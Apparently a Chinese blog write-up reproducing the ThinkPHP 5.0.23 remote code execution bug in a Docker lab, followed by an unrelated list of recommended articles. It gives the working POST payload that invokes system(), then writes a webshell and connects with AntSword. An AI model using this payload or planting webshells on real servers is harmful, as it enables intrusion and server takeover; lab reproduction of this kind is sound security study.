Lucky1youzi
Lucky1youzi

Thinkphp5.0.23 rce（远程代码执行）

01漏洞形成原因

  • 框架介绍：

ThinkPHP是一款运用极广的PHP开发框架。

  • 漏洞引入：

其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。

02漏洞如何利用

  1. 访问靶机地址+端口号 进入首页

  1. bp抓包变更请求为POST，传入参数，其中pwd为系统执行命令可进行一系列操作

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

03漏洞复现过程

centos7启动docker 漏洞环境

Thinkphp5.0.23 rce（远程代码执行）_第1张图片

访问centos7的IP地址接上接上8080端口

Thinkphp5.0.23 rce（远程代码执行）_第2张图片

bp抓包变更请求为POST，传入参数

 /index.php?s=captch   ##URL后接
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd ##传入参数
Thinkphp5.0.23 rce（远程代码执行）_第3张图片

尝试写入phpinfo

echo "" > info.php
Thinkphp5.0.23 rce（远程代码执行）_第4张图片

写入一句话木马

echo '' > shell.php    #密码：aaa
Thinkphp5.0.23 rce（远程代码执行）_第5张图片

蚁剑连接

Thinkphp5.0.23 rce（远程代码执行）_第6张图片

你可能感兴趣的:(thinkphp,安全,web安全)

  • .net密码加密解密AES 步、步、为营 网络服务器运维.net
    .NET中使用AES进行密码加密解密技术解析在当今数字化的时代，数据安全至关重要。密码作为保护个人和敏感信息的第一道防线，其加密和解密的安全性显得尤为重要。AES（AdvancedEncryptionStandard）作为一种广泛使用的对称加密算法，在.NET中也有着很好的支持。本文将深入探讨在.NET中如何使用AES算法进行密码的加密和解密。什么是AES算法AES，即高级加密标准，它是美国联邦政
  • 超强文档搜索引擎AnyTXT Searcher本地搭建：实现高效文档管理 辽宁统招专升本&单招升学肖老师 ChatGPT人工智能技术指导搜索引擎
    在数字化时代，文档管理成为了企业和个人不可或缺的一部分。如何快速、准确地找到所需的文档，成为了文档管理的关键。为此，强大的文档搜索引擎成为了必需品。然而，对于一些企业和个人而言，使用云端搜索引擎可能存在安全和隐私问题。此时，在本地搭建超强的文档搜索引擎成为了更好的选择。本文将介绍一款超强的文档搜索引擎——AnyTXTSearcher，并探讨如何在本地进行搭建。AnyTXTSearcher是一款功能
  • 软件测试面试怎么提升通过率？
    2025年软件测试面试技巧、软件测试简历包装、能一周光速拿到5个软件测试岗offer的方法|软件测试面试速成简历篇-3招抓住面试官眼球数字说话：写"发现58个缺陷"比"负责测试"强10倍技术组合：列出"Selenium+Python+Jenkins"这种工具链项目亮点：每个项目用1个具体成果，如"自动化覆盖率达70%"面试篇-5个必杀技测试思维：回答时按"功能-性能-安全-兼容性"分层说Bug案例
  • 进阶向:Django入门,从零开始构建一个Web应用 nightunderblackcat Python进阶djangopython后端
    一、Django是什么？想象你建房子需要砖头、水泥、设计图...Django就是Python的Web框架工具箱，它帮你准备好了：数据库管理用户登录系统网页模板引擎安全防护（防黑客攻击）你只需专注"盖房子"（业务逻辑），不用从烧砖开始！二、环境准备（5分钟搞定）安装Python官网下载Python3.8+：python.org安装时勾选AddPythontoPATH安装Django打开命令行（Win
  • 50.第二阶段x64游戏实战-代码实现特征码定位 计算机王 逆向学习x64游戏反游戏外挂c++汇编游戏攻防特征码搜索
    免责声明：内容仅供学习参考，请合法利用知识，禁止进行违法犯罪活动！本次游戏没法给内容参考于：微尘网络安全上一个内容：49.第二阶段x64游戏实战-封包-代码实现自动登录现在找了很多基址了，但是游戏一更新，代码就会有变化，然后之前找的基址就没法用了，有得重新找，这是一个体力活，为了避免重新找就可以使用特征码进行定位，特征码定位也不是绝对的，可能需要多个版本才能让它不出错，如果特征代码进行了改动也还是
  • JAVA内存区域划分 weixin_44612246 java开发语言redis
    根据《JAVA虚拟机规范》的规定，JAVA虚拟机在执行JAVA程序的过程中会把内存划分为不同的数据区域。不同类型的数据会存储在不同的区域，理解JAVA内存区域的工作细节对理解JAVA多线程、线程安全性有着重要意义。注意，JAVA内存区域的划分与我们常说的java内存模型JMM(JavaMemeryModel)是两个互不交叉的维度的概念，两者没有任何关系。JMM主要是将主内存和工作内存的关系、数据从
  • java中agent的作用
    一java中agent1.1agent-javaagent是Java虚拟机(JVM)提供的一个启动参数，用于在Java程序main方法执行之前，加载一个特殊的Java代理程序（JavaAgent）。它的核心作用是对运行中的Java程序进行字节码层面的动态修改、监控和增强。如安全审计/漏洞检测。-javaagent:/bankapp/deploy/raspant/raspant.jar
  • [ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)（4-2）XSS注入相关面试题 寒蝉听雨[原ID_PowerShell] 面试总结渗透测试自学篇渗透测试面试分享渗透测试升职加薪网络安全XSS注入面试题网络安全面试题1024程序员节
    博主介绍‍博主介绍：大家好，我是_PowerShell，很高兴认识大家~✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！渗透方向的岗位，涉及到的知识点是很广泛的。这里我总结了整个一系列的面试题，可能没有覆盖到全部的知识面，但是应该是比较全面的
  • 华为和H3c--交换技术
    华为和H3c–交换技术一、VLAN的作用和交换网络链路类以及VLAN封装1、VLAN的作用和优势1）VLAN的作用隔离广播域2）VLAN的优势降低广播网络占用带宽资源安全性强屏蔽VLAN间访问增强设备的稳定性2、隔离广播的方式1）物理隔离通过路由器设备实现成本高2）VLAN交换机创建VLAN将接口加入到不同的VLAN中，VLAN之间相互隔离一个VLAN表示一个广播域3、交换网络链路的类型和Trun
  • 嵌入式开发学习日志Day14（ARM体系架构——RTC及ADC)
    一、RTCRTC（实时时钟）：非易失性在IMX6ULL内部SNVS（安全的非易失性存储器）提供RTC功能；原理图：二、ADC2.1基本概念ADC(模拟数字转换器)：用于将连续变化的模拟信号转换为离散的数字信号以便数字系统对它进行处理；模拟信号：一般指连续变化的电压信号，其值在一定范围内变化；数字信号：由一系列离散数字表示仅取有限值，通常以二进制表示；2.2工作原理将模拟信号分割成一系列离散的取样，
  • OCCT 预览显示与永久显示设计哲学: 非破坏性编辑 (Non-destructive Editing) 设计模式
    在现代三维建模和计算机辅助设计（CAD）领域，用户的每一次操作都可能涉及复杂且耗时的计算。如何为用户提供一个既能实时响应、又能确保数据安全的操作环境，是软件架构设计的核心挑战之一。预览与永久应用分离的机制，正是非破坏性编辑(Non-destructiveEditing)这一核心设计模式的经典体现。非破坏性编辑，顾名思义，是指在编辑过程中，用户的任何尝试性操作都不会立即、永久地改变或破坏原始数据。系
  • 【web安全】远程命令执行(RCE)漏洞深度解析与攻防实践 KPX web安全安全web安全windowslinux漏洞
    目录摘要1.RCE漏洞概述1.1基本概念1.2漏洞危害等级2.RCE漏洞原理深度分析2.1漏洞产生条件2.2常见危险函数2.2.1PHP环境2.2.2Java环境2.2.3Python环境3.RCE利用技术进阶3.1基础注入技术扩展3.1.1命令分隔技术3.1.2参数注入技术3.2高级绕过技术3.2.1编码混淆3.2.2字符串拼接3.3盲注技术3.3.1时间延迟检测3.3.2DNS外带数据3.3.
  • SQLmap 使用指南：开启安全测试高效之旅
    SQLmap作为一款强大的开源自动化SQL注入工具，在安全测试领域扮演着至关重要的角色，它能够精准检测并有效利用Web应用程序中潜藏的SQL注入漏洞。但请务必牢记，其使用必须严格限定在合法授权的范围内，以确保不触碰法律红线。安装SQLmap在Windows系统中安装SQLmap，首先要确保已成功安装Python环境。因为SQLmap是基于Python开发的，Python环境是其运行的基础。安装好P
  • 嵌入式SoC多线程架构迁移多进程架构开发技巧 不脱发的程序猿 嵌入式嵌入式
    目录1、架构迁移步骤2、架构迁移的关键点3、迁移实例将嵌入式SoC开发从单进程多线程架构迁移多进程架构是一项需要谨慎规划和实施的任务，尤其在资源有限的嵌入式系统中。这种架构转变通常是为了提高系统的稳定性、隔离性、安全性和并发处理能力。在单进程多线程架构中，多个线程共享相同的内存空间、文件描述符和全局变量，适合处理轻量级任务并发。然而，这种架构的缺点在于：共享资源管理复杂：线程之间共享内存，容易引发
  • Netty案例：HTTP服务器开发方案
    目录1、需求2、核心设计思路3、代码实现4、部署与测试5、关键功能说明1、需求Netty服务器监听8080端口，支持浏览器访问、信息恢复和资源过滤功能2、核心设计思路HTTP协议处理：使用Netty的HTTP编解码器资源过滤：通过URI分析实现黑白名单状态恢复：利用ChannelHandlerContext维护请求状态安全控制：过滤危险资源类型和路径遍历攻击3、代码实现importio.netty
  • 终于有人把 Java 动态 SQL 写舒服了！支持任意嵌套、分页、一对多，你还在手搓 SQL 吗？ javasql教程
    Java动态SQL构建新选择：告别繁琐XML，轻量、强类型的dynamic-sql2框架来了！在日常开发中，动态SQL一直是老生带的问题：XML拼接SQL，开发体验差、易出错直接字符串拼接SQL，存在严重安全障碍ORM框架虽好，但复杂查询时往往换不起来有没有一种方案，既能：✅保留原生SQL的灵活性✅摆脱XML、字符串的繁琐与不安全✅提供类型安全、链式流畅的开发体验答案是：dynamic-sql2，
  • Python, Rust 开发教育/医疗/文化资源去中心化分配APP Geeker-2025 pythonrust
    以下是为教育、医疗、文化资源设计的**去中心化分配APP**的完整技术方案，结合Python的灵活性和Rust的高性能与安全性，实现公平透明的资源分配：---###系统架构设计```mermaidgraphTDA[用户终端]-->B[区块链网络]A-->C[分配引擎]B-->D[智能合约]C-->E[资源数据库]D-->F[分配记录]subgraph技术栈C-.Rust.->G[核心分配算法]D-
  • FinalShell 4：Linux系统SSH连接与远程管理工具应用指南 虾仁芝麻卷
    本文还有配套的精品资源，点击获取简介：FinalShell4是专为Linux系统打造的集成化远程管理工具，以其强大的SSH连接功能著称，支持多种操作系统平台。该软件集成了丰富的终端模拟、会话管理、文件传输和性能优化等特性，提高了IT运维的效率和安全性。其内置的脚本支持和实时监控功能进一步加强了服务器管理的自动化和便捷性，使其成为IT专业人员的得力助手。1.SSH连接与安全远程操作SSH（Secur
  • AWS多账号管理终极指南：从安装配置到高效使用 ivwdcwso 运维与云原生aws云计算iam多账号cli
    引言：为什么需要多账号管理？在云计算时代，企业使用多个AWS账号已成为最佳实践。根据AWSWell-ArchitectedFramework，多账号架构可以：实现环境隔离（生产/测试/开发）满足不同业务单元的安全要求简化资源管理和成本分配符合合规性要求（如SOC2、ISO27001）本文将手把手带您完成从AWSCLI安装到多账号配置的全过程，特别针对中国区与全球区的混合使用场景。第一部分：AWSC
  • 论文调研_物联网漏洞检测综述 kitsch0x97 论文调研学习物联网
    AReviewofIoTFirmwareVulnerabilitiesandAuditingTechniques研究背景：物联网设备在工业、消费类等各个领域得到了广泛应用，实现了更高的自动化和生产率。然而，这些连网设备的高度依赖也带来了一系列网络安全威胁，特别是IoT设备固件漏洞问题，往往在开发和部署过程中被忽视。针对这一问题，亟需制定全面的安全策略，包括对IoT设备固件环境(软件组件、存储、配置
  • 去中心化钱包应用：数字货币时代的自由与安全之选
    小编介绍：10年专注商业模式设计及软件开发，擅长企业生态商业模式，商业零售会员增长裂变模式策划、商业闭环模式设计及方案落地；扶持10余个电商平台做到营收过千万，数百个平台达到百万会员，欢迎咨询。随着数字货币的兴起，去中心化钱包应用正逐渐成为投资者的新宠。这类应用以其独特的优势和特点，在保障用户资产安全、提升交易效率方面展现出了强大的潜力。本文将从去中心化钱包的定义、特点、优势以及未来发展等方面进行
  • Web3.0时代的安全悖论：去中心化如何反被中心化攻击？ 5GOrDiejfgf web3安全去中心化
    详细内容扩展：技术解析：Solana链上RugPull攻击手法复盘（3亿美元被盗）中心化交易所安全措施对比（CoinbasevsBinance安全预算）合规框架：SEC监管动态：Howey测试最新应用案例税务合规工具：Chainalysis+CoinTracking集成方案投资建议：安全审计公司评级（CertikA级项目列表）硬件钱包对比评测（LedgerNanoXvsTrezorModelT）
  • EN 13501标准介绍 独二. 布线安全防火网络大数据信息与通信
    1.什么是EN13501？EN13501是欧洲防火标准（Euroclass），用于对建筑材料的防火性能进行分类。该标准适用于电缆、建筑板材、隔热材料、地板、天花板等，广泛应用于建筑行业、电缆布线、数据中心、智能楼宇以及其他需要防火安全的领域。EN13501-1是该系列标准中专门针对建筑产品的防火性能分类标准，其中EN13501-6主要用于电缆的防火性能评估。2.EN13501-1防火分类体系EN1
  • JA3指纹在Web服务器或WAF中集成方案 泡泡以安 爬虫技术服务器安全httpsJA3指纹
    一、概述JA3指纹技术可以通过多种方式集成到Web服务器或WAF中，实现对客户端的识别和安全防护。本文档详细介绍各种实现方案。详细请见：JA3指纹介绍二、Nginx集成方案2.1、使用NginxLua模块安装依赖#安装OpenResty（包含Nginx+Lua）wgethttps://openresty.org/download/openresty-1.21.4.1.tar.gztar-xzfop
  • JWT认证性能优化实战指南
    JWT认证性能优化实战指南一、技术背景与应用场景随着微服务与云原生架构的普及，基于Token的认证方式成为保证系统安全与可扩展性的首选方案。JWT（JSONWebToken）以其自包含、自验证、跨语言支持等优点，在分布式环境中广泛应用。但在高并发场景下，JWT的解析、签名与验证过程可能成为性能瓶颈。本篇文章将结合真实生产环境，深入剖析JWT认证的核心原理，重点分析性能瓶颈，并提供多种可落地的优化实
  • 52-【JavaScript-Day 52】告别“野路子”代码：ESLint、Prettier与Web安全入门 吴师兄大模型 javascript开发语言ecmascriptjava人工智能大模型ESLint
    Langchain系列文章目录01-玩转LangChain：从模型调用到Prompt模板与输出解析的完整指南02-玩转LangChainMemory模块：四种记忆类型详解及应用场景全覆盖03-全面掌握LangChain：从核心链条构建到动态任务分配的实战指南04-玩转LangChain：从文档加载到高效问答系统构建的全程实战05-玩转LangChain：深度评估问答系统的三种高效方法（示例生成、手
  • SSL证书现实中的使用意义 运维ssl证书
    SSL证书在现实中的使用意义重大，它是互联网安全通信的基石，主要从数据加密、身份验证、信任建立等多个层面保障网络交互的安全性，以下是详细说明：一、加密传输数据，防止信息泄露与篡改核心作用：通过SSL（SecureSocketsLayer）或TLS（TransportLayerSecurity）协议，对客户端（如浏览器）与服务器之间传输的数据进行加密。例如用户在网站输入的账号密码、银行卡信息、聊天
  • 短信验证码注册登录的Python实现：http.client与Requests实战 仰望尾迹云
    本文还有配套的精品资源，点击获取简介：短信验证码是用户注册和登录的常用安全措施。在Python中，http.client和Requests是两个关键模块，分别用于处理HTTP请求。http.client是Python标准库的一部分，适用于低级HTTP操作，而Requests是一个第三方库，提供了更简洁的HTTP请求处理方式。本课程将通过http.client.py和Requests.py两个文件的
  • 目标检测数据集——交通信号灯红绿灯检测数据集
    在智能交通系统迅速发展的背景下，准确且实时地识别交通信号灯的状态对于提升道路安全和优化交通流量管理至关重要。无论是自动驾驶汽车还是辅助驾驶技术，可靠地检测并理解交通信号灯的指示——特别是红灯与绿灯的区别——是确保交通安全、避免交通事故的关键环节之一。然而，复杂的光照条件、不同的天气状况以及信号灯被遮挡等情况都给交通信号灯的识别带来了不小的挑战。这是专门针对交通信号灯（尤其是红绿灯）检测的数据集，旨
  • UniApp 开发第一个项目 速易达网络 uni-app
    UniApp开发第一个项目全流程指南，涵盖环境搭建、项目创建、核心开发到调试发布，结合最新实践整理而成，适合零基础快速上手：一、环境准备（5分钟）安装开发工具HBuilderX（官方推荐IDE）：下载App开发版，安装路径避免中文或空格微信开发者工具（调试小程序必备）：官网下载，安装后开启服务端口（设置→安全设置）Node.js（可选）：用于包管理，建议v18+️
  • Java实现的简单双向Map，支持重复Value superlxw1234 java双向map
    关键字：Java双向Map、DualHashBidiMap     有个需求，需要根据即时修改Map结构中的Value值，比如，将Map中所有value=V1的记录改成value=V2，key保持不变。   数据量比较大，遍历Map性能太差，这就需要根据Value先找到Key，然后去修改。   即：既要根据Key找Value，又要根据Value
  • PL/SQL触发器基础及例子 百合不是茶 oracle数据库触发器PL/SQL编程
      触发器的简介; 触发器的定义就是说某个条件成立的时候，触发器里面所定义的语句就会被自动的执行。因此触发器不需要人为的去调用，也不能调用。触发器和过程函数类似 过程函数必须要调用,   一个表中最多只能有12个触发器类型的,触发器和过程函数相似 触发器不需要调用直接执行, 触发时间：指明触发器何时执行，该值可取： before：表示在数据库动作之前触发
  • [时空与探索]穿越时空的一些问题 comsci 问题
          我们还没有进行过任何数学形式上的证明,仅仅是一个猜想.....       这个猜想就是; 任何有质量的物体(哪怕只有一微克)都不可能穿越时空,该物体强行穿越时空的时候,物体的质量会与时空粒子产生反应,物体会变成暗物质,也就是说,任何物体穿越时空会变成暗物质..(暗物质就我的理
  • easy ui datagrid上移下移一行 商人shang js上移下移easyuidatagrid
    /** * 向上移动一行 * * @param dg * @param row */ function moveupRow(dg, row) { var datagrid = $(dg); var index = datagrid.datagrid("getRowIndex", row); if (isFirstRow(dg, row)) {
  • Java反射 oloz 反射
    本人菜鸟，今天恰好有时间，写写博客，总结复习一下java反射方面的知识，欢迎大家探讨交流学习指教 首先看看java中的Class package demo; public class ClassTest { /*先了解java中的Class*/ public static void main(String[] args) { //任何一个类都
  • springMVC 使用JSR-303 Validation验证 杨白白 springmvc
    JSR-303是一个数据验证的规范，但是spring并没有对其进行实现，Hibernate Validator是实现了这一规范的，通过此这个实现来讲SpringMVC对JSR-303的支持。 JSR-303的校验是基于注解的，首先要把这些注解标记在需要验证的实体类的属性上或是其对应的get方法上。 登录需要验证类 public class Login { @NotEmpty
  • log4j 香水浓 log4j
    log4j.rootCategory=DEBUG, STDOUT, DAILYFILE, HTML, DATABASE #log4j.rootCategory=DEBUG, STDOUT, DAILYFILE, ROLLINGFILE, HTML #console log4j.appender.STDOUT=org.apache.log4j.ConsoleAppender log4
  • 使用ajax和history.pushState无刷新改变页面URL agevs jquery框架Ajaxhtml5chrome
    表现 如果你使用chrome或者firefox等浏览器访问本博客、github.com、plus.google.com等网站时，细心的你会发现页面之间的点击是通过ajax异步请求的，同时页面的URL发生了了改变。并且能够很好的支持浏览器前进和后退。 是什么有这么强大的功能呢？ HTML5里引用了新的API，history.pushState和history.replaceState，就是通过
  • centos中文乱码 AILIKES centosOSssh
    一、CentOS系统访问 g.cn ，发现中文乱码。 于是用以前的方式：yum -y install fonts-chinese CentOS系统安装后，还是不能显示中文字体。我使用 gedit 编辑源码，其中文注释也为乱码。       后来，终于找到以下方法可以解决，需要两个中文支持的包： fonts-chinese-3.02-12.
  • 触发器 baalwolf 触发器
    触发器(trigger)：监视某种情况，并触发某种操作。 触发器创建语法四要素：1.监视地点(table) 2.监视事件(insert/update/delete) 3.触发时间(after/before) 4.触发事件(insert/update/delete) 语法： create trigger triggerName after/before 
  • JS正则表达式的i m g bijian1013 JavaScript正则表达式
            g:表示全局（global)模式，即模式将被应用于所有字符串，而非在发现第一个匹配项时立即停止。         i:表示不区分大小写（case-insensitive）模式，即在确定匹配项时忽略模式与字符串的大小写。         m:表示
  • HTML5模式和Hashbang模式 bijian1013 JavaScriptAngularJSHashbang模式HTML5模式
            我们可以用$locationProvider来配置$location服务（可以采用注入的方式，就像AngularJS中其他所有东西一样）。这里provider的两个参数很有意思，介绍如下。 html5Mode         一个布尔值，标识$location服务是否运行在HTML5模式下。 ha
  • [Maven学习笔记六]Maven生命周期 bit1129 maven
    从mvn test的输出开始说起   当我们在user-core中执行mvn test时，执行的输出如下：   /software/devsoftware/jdk1.7.0_55/bin/java -Dmaven.home=/software/devsoftware/apache-maven-3.2.1 -Dclassworlds.conf=/software/devs
  • 【Hadoop七】基于Yarn的Hadoop Map Reduce容错 bit1129 hadoop
    运行于Yarn的Map Reduce作业，可能发生失败的点包括 Task Failure Application Master Failure Node Manager Failure Resource Manager Failure 1. Task Failure 任务执行过程中产生的异常和JVM的意外终止会汇报给Application Master。僵死的任务也会被A
  • 记一次数据推送的异常解决端口解决 ronin47 记一次数据推送的异常解决
    　　 需求：从db获取数据然后推送到B         程序开发完成，上jboss,刚开始报了很多错，逐一解决，可最后显示连接不到数据库。机房的同事说可以ping 通。 　　  自已画了个图，逐一排除，把linux 防火墙　和　setenforce　设置最低。 　　　service iptables stop
  • 巧用视错觉-UI更有趣 brotherlamp UIui视频ui教程ui自学ui资料
    我们每个人在生活中都曾感受过视错觉（optical illusion）的魅力。 视错觉现象是双眼跟我们开的一个玩笑，而我们往往还心甘情愿地接受我们看到的假象。其实不止如此，视觉错现象的背后还有一个重要的科学原理——格式塔原理。 格式塔原理解释了人们如何以视觉方式感觉物体，以及图像的结构，视角，大小等要素是如何影响我们的视觉的。 在下面这篇文章中，我们首先会简单介绍一下格式塔原理中的基本概念，
  • 线段树-poj1177-N个矩形求边长（离散化+扫描线） bylijinnan 数据结构算法线段树
    package com.ljn.base; import java.util.Arrays; import java.util.Comparator; import java.util.Set; import java.util.TreeSet; /** * POJ 1177 (线段树+离散化+扫描线)，题目链接为http://poj.org/problem?id=1177
  • HTTP协议详解 chicony http协议
    引言                                 
  • Scala设计模式 chenchao051 设计模式scala
    Scala设计模式                我的话： 在国外网站上看到一篇文章，里面详细描述了很多设计模式，并且用Java及Scala两种语言描述，清晰的让我们看到各种常规的设计模式，在Scala中是如何在语言特性层面直接支持的。基于文章很nice，我利用今天的空闲时间将其翻译，希望大家能一起学习，讨论。翻译
  • 安装mysql daizj mysql安装
    安装mysql   (1)删除linux上已经安装的mysql相关库信息。rpm  -e  xxxxxxx   --nodeps (强制删除)      执行命令rpm -qa |grep mysql 检查是否删除干净   (2)执行命令  rpm -i MySQL-server-5.5.31-2.el
  • HTTP状态码大全 dcj3sjt126com http状态码
    完整的 HTTP 1.1规范说明书来自于RFC 2616，你可以在http://www.talentdigger.cn/home/link.php?url=d3d3LnJmYy1lZGl0b3Iub3JnLw%3D%3D在线查阅。HTTP 1.1的状态码被标记为新特性，因为许多浏览器只支持 HTTP 1.0。你应只把状态码发送给支持 HTTP 1.1的客户端，支持协议版本可以通过调用request
  • asihttprequest上传图片 dcj3sjt126com ASIHTTPRequest
    NSURL *url =@"yourURL"; ASIFormDataRequest*currentRequest =[ASIFormDataRequest requestWithURL:url]; [currentRequest setPostFormat:ASIMultipartFormDataPostFormat];[currentRequest se
  • C语言中，关键字static的作用 e200702084 C++cC#
    在C语言中，关键字static有三个明显的作用： 1)在函数体，局部的static变量。生存期为程序的整个生命周期，（它存活多长时间）；作用域却在函数体内（它在什么地方能被访问（空间））。 一个被声明为静态的变量在这一函数被调用过程中维持其值不变。因为它分配在静态存储区，函数调用结束后并不释放单元，但是在其它的作用域的无法访问。当再次调用这个函数时，这个局部的静态变量还存活，而且用在它的访
  • win7/8使用curl geeksun win7
    1.  WIN7/8下要使用curl，需要下载curl-7.20.0-win64-ssl-sspi.zip和Win64OpenSSL_Light-1_0_2d.exe。 下载地址：  http://curl.haxx.se/download.html 请选择不带SSL的版本，否则还需要安装SSL的支持包   2.  可以给Windows增加c
  • Creating a Shared Repository; Users Sharing The Repository hongtoushizi git
    转载自：   http://www.gitguys.com/topics/creating-a-shared-repository-users-sharing-the-repository/ Commands discussed in this section: git init –bare git clone git remote git pull git p
  • Java实现字符串反转的8种或9种方法 Josh_Persistence 异或反转递归反转二分交换反转java字符串反转栈反转
    注：对于第7种使用异或的方式来实现字符串的反转，如果不太看得明白的，可以参照另一篇博客： http://josh-persistence.iteye.com/blog/2205768   /** * */ package com.wsheng.aggregator.algorithm.string; import java.util.Stack; /**
  • 代码实现任意容量倒水问题 home198979 PHP算法倒水
    形象化设计模式实战             HELLO!架构                     redis命令源码解析   倒水问题：有两个杯子，一个A升，一个B升，水有无限多，现要求利用这两杯子装C
  • Druid datasource zhb8015 druid
    推荐大家使用数据库连接池 DruidDataSource. http://code.alibabatech.com/wiki/display/Druid/DruidDataSource DruidDataSource经过阿里巴巴数百个应用一年多生产环境运行验证，稳定可靠。 它最重要的特点是：监控、扩展和性能。 下载和Maven配置看这里： http
  • 两种启动监听器ApplicationListener和ServletContextListener spjich javaspring框架
    引言:有时候需要在项目初始化的时候进行一系列工作，比如初始化一个线程池，初始化配置文件，初始化缓存等等，这时候就需要用到启动监听器，下面分别介绍一下两种常用的项目启动监听器   ServletContextListener  特点: 依赖于sevlet容器，需要配置web.xml 使用方法: public class StartListener implements
  • JavaScript Rounding Methods of the Math object 何不笑 JavaScriptMath
        The next group of methods has to do with rounding decimal values into integers. Three methods — Math.ceil(),  Math.floor(), and  Math.round() — handle rounding in differen
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他